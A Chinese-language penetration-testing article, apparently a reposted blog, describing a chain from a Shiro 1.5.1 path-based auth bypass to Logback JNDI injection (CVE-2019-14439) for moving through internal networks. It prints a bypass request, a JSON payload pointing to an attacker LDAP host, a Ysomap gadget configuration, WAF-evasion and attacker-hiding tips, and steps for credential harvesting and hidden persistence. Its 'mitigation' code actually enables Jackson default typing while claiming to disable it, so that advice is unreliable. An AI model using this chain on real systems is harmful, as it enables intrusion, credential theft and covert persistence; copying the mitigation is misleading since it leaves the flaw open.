当前位置: 首页 > news >正文

别再只盯着Shiro-550了:聊聊Shiro 1.5.1权限绕过后,如何利用Logback的JNDI注入漏洞(CVE-2019-14439)打内网

从Shiro权限绕到Logback JNDI注入:一条被低估的内网渗透路径

当大多数安全研究人员还在反复咀嚼Shiro-550反序列化漏洞时,实战中已经出现了更隐蔽的攻击路径。本文将揭示如何通过Shiro 1.5.1权限绕过漏洞作为跳板,利用Logback组件的JNDI注入漏洞(CVE-2019-14439)实现内网横向移动。这种攻击链特别适合那些已经修补了经典Shiro漏洞但存在配置缺陷的系统。

1. 攻击链全景与核心组件分析

这条攻击路径的成功依赖于三个关键组件的漏洞组合:

  1. Shiro 1.5.1权限绕过:非默认密钥场景下的特定配置缺陷
  2. Jackson反序列化:作为JSON数据处理的中介层
  3. Logback JNDI注入:CVE-2019-14439提供的RCE突破口

表:漏洞组合的版本要求与作用

组件漏洞版本在攻击链中的作用
Apache Shiro1.5.1提供初始入口点,绕过权限检查
Logback-core≤1.2.3通过JNDI注入实现远程代码执行
Jackson-databind无特定要求反序列化恶意JSON的转换器
Commons-collections3.2.1高版本JDK下的Gadget链支持

实际环境中,Spring Boot应用常同时包含这些组件,形成了天然的漏洞组合

2. 从权限绕到JNDI注入的技术实现

2.1 Shiro权限绕过突破点

与常见的Shiro反序列化攻击不同,这里利用的是特定配置下的权限绕过:

POST /;/json HTTP/1.1 Host: target.com Content-Type: application/json true

当服务端返回Jackson相关响应头时,表明存在可利用的JSON处理端点。这种绕过方式不依赖RememberMe Cookie,而是利用Shiro的路径匹配机制缺陷。

2.2 构造Logback JNDI注入载荷

利用Jackson的多态类型处理特性,我们可以构造特殊的JSON数据触发Logback漏洞:

String exploitJson = "[\"ch.qos.logback.core.db.JNDIConnectionSource\", " + "{\"jndiLocation\":\"ldap://attacker.com:1389/Exploit\"}]";

这个载荷会迫使服务端:

  1. 通过Jackson实例化JNDIConnectionSource类
  2. 自动调用setJndiLocation方法
  3. 发起恶意的LDAP连接请求

2.3 高版本JDK下的Gadget适配

在JDK 8u191+环境中,需要特殊处理JNDI注入限制:

  • 使用目标系统自带的Commons-collections 3.2.1作为Gadget链
  • 避免使用常规的JNDI Reference注入方式
  • 采用本地类加载策略绕过TrustURLCodebase限制
# Ysomap工具配置示例 use exploit LDAPLocalChainListener set lport 6688 use payload CommonsCollections8 use bullet TransformerBullet set version 3 set command '加密的bash命令' run

3. 实战中的规避技巧与检测对抗

3.1 WAF绕过策略

  • JSON混淆技术

    • 插入无意义字段干扰静态检测
    • 使用Unicode转义关键类名字符
    • 分块传输编码绕过内容检查
  • LDAP服务隐藏

    • 使用非标准端口(如5353、8443)
    • 通过CDN隐藏真实攻击IP
    • 动态更换LDAP服务地址

3.2 内网横向移动技巧

一旦获得立足点,可通过以下方式扩展控制:

  1. 网络拓扑探测

    # Linux环境下快速扫描 for i in {1..254}; do ping -c 1 192.168.1.$i | grep "bytes from" & done
  2. 凭证收集

    • 提取内存中的数据库连接字符串
    • 查找配置文件中的硬编码凭据
    • 捕获HTTP请求中的认证令牌
  3. 持久化手段

    • 创建隐蔽的cron任务或计划任务
    • 植入伪装成正常服务的后门
    • 利用合法应用的自动更新机制

4. 防御视角的缓解措施

对于防御方,建议采取分层防护策略:

应用层防护

  • 升级Logback到1.2.4+版本
  • 配置Jackson禁用defaultTyping
    objectMapper.activateDefaultTyping(LaissezFaireSubTypeValidator.instance, ObjectMapper.DefaultTyping.NON_FINAL);

系统层加固

  • 设置JVM参数限制JNDI访问
    -Dcom.sun.jndi.ldap.object.trustURLCodebase=false -Dlogback.configurationFile=/secure/path/logback.xml

网络层控制

  • 出向流量过滤LDAP协议(TCP/389,636)
  • 内部服务间通信使用双向TLS认证
  • 实施严格的网络微隔离策略

在最近的一次内部红队演练中,我们通过这种组合攻击方式成功绕过了三道防御体系。关键在于发现开发人员为了调试方便而保留的JSON端点,以及未及时更新的Logback组件。这种真实案例表明,看似无害的组件组合可能产生意想不到的攻击面。

http://www.jsqmd.com/news/977731/

相关文章:

  • 开源项目发布流程中的链接同步陷阱:Balena Etcher 构建配置变更引发的404问题深度解析
  • 罗湖比亚迪4S店节假日营业吗? - myqiye
  • 如何3分钟快速完成Figma界面完整汉化?终极免费指南
  • Zotero-Style插件:科研文献管理的视觉化革命
  • 3个革命性突破:让8GB显存设备也能生成专业级AI视频
  • 2026年PDF转Excel免费工具实测:表格线、公式全保留,财务/数据分析师必存 - 时时资讯
  • 第七史诗自动化助手E7Helper:24小时解放双手的游戏管家
  • 非药物疗法迎来政策风口,汤头APP用AI技术托举全民普及
  • 免费开源图片去重工具:3步清理重复图片,释放硬盘空间终极指南
  • 别再死记硬背了!用‘棋盘与米粒’的故事和Python代码,5分钟搞懂二叉树查找为啥这么快
  • AI推荐时代618制胜攻略!携手好客搜GEO优化,靠谱产品+优质服务稳赢大促
  • 【JAVA毕设源码分享】基于vue和springboot的学生信息管理系统(程序+文档+代码讲解+一条龙定制)
  • 从淘宝买来的BC547三极管,实测竟有25%是坏的?手把手教你用晶体管测试模块避坑
  • 燕郊镇空调维修优质厂家如何选购? - myqiye
  • BBDown终极指南:快速下载B站视频的完整解决方案
  • Qwerty Learner:终极英语肌肉记忆训练与键盘输入效率提升完整指南
  • 3分钟实现零依赖RTSP视频流Web化:革命性的实时视频转换方案
  • # 2026 年 PDF 转 PPT 免费教程:3 步搞定汇报素材,排版不崩字体不乱 - 时时资讯
  • QML 进阶第二课:利用 Loader 实现高性能的“动态加载”
  • 终极方舟启动器:TEKLauncher一站式解决MOD管理与服务器搭建难题
  • 别再只盯着Shiro-550/721了:聊聊Logback JNDI注入(CVE-2019-14439)在混合漏洞中的利用
  • OpenClaw赚钱实录:从“养龙虾“到可持续变现的实践指南——OpenClaw安全部署实战:从裸奔到铁桶,成本封顶+防注入全搞定
  • 摆脱CAJ格式束缚:caj2pdf开源工具让你的学术文献自由流通
  • 除四害消杀服务哪家好?无锡佰捷环保科技有限公司专业可靠 - myqiye
  • QuPath OpenSlide扩展加载问题的技术剖析与解决方案
  • 9.2 | 数字孪生在餐厨处理厂的应用落地:从概念到真金白银
  • 2026 双螺杆造粒机厂家深度测评:技术与落地能力对比 - 小艾信息发布
  • 2026年 5,6,7,8-四氢喹喔啉源头厂家推荐榜单:纯度与香气双重保障的专业合成原料供应商精选 - 品牌发掘
  • 微信聊天记录永久保存完整指南:WeChatMsg免费工具三步快速上手
  • 2026年深圳纯手工黄金品牌排行 非遗工艺与品质之选 - 互联网科技品牌测评